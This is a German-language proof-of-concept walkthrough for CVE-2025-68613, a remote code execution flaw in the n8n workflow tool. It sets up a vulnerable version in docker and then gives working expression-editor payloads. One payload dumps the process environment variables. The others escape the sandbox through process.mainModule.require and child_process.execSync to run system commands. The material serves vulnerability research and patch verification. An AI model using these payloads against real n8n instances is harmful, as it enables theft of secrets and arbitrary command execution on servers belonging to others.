
POC für CVE-2025-68613
Nur zu Bildungszwecken Dieses Proof of Concept demonstriert eine kritische Schwachstelle (CVE-2025-68613) in n8n. Verwenden Sie dies nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testberechtigung haben.
n8n-Versionen vor 1.122.0 enthalten eine Schwachstelle, die Remote Code Execution (RCE) ermöglicht. Authentifizierte Benutzer können die Expression-Sandbox umgehen und über spezifische JavaScript-Payloads im Workflow-Expression-Editor beliebigen Code auf dem Hostsystem ausführen.
Erstellen Sie ein Daten-Volume und führen Sie eine verwundbare Version von n8n aus (z. B. v1.120.0).
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
Navigieren Sie zu http://localhost:5678 und schließen Sie bei Bedarf die Ersteinrichtung ab.

Klicken Sie auf „Add Workflow“, um einen leeren Workflow zu starten.

Fügen Sie dem Workflow einen Set-Knoten hinzu. Dieser Knoten ermöglicht es uns, Werte zu definieren, die als Ausdrücke ausgewertet werden können.

Ändern Sie im Set-Knoten einen Parameter (z. B. value) und stellen Sie den Eingabetyp auf Expression um.

Geben Sie die folgenden Payloads in den Expression-Editor ein, um die Schwachstelle zu demonstrieren.
Dieser Payload greift auf this.process.env zu, um sensible Umgebungsvariablen aus dem Container auszulesen.
Payload:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
Ergebnis:

Dieser Payload umgeht die Sandbox, indem er auf process.mainModule.require zugreift, um das Modul child_process zu laden, wodurch beliebige Systembefehle ausgeführt werden können.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

Ergebnis: Verifiziert den Benutzerkontext des laufenden Prozesses.
Demonstriert die Möglichkeit, das Dateisystem zu durchsuchen.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
Ergebnis:
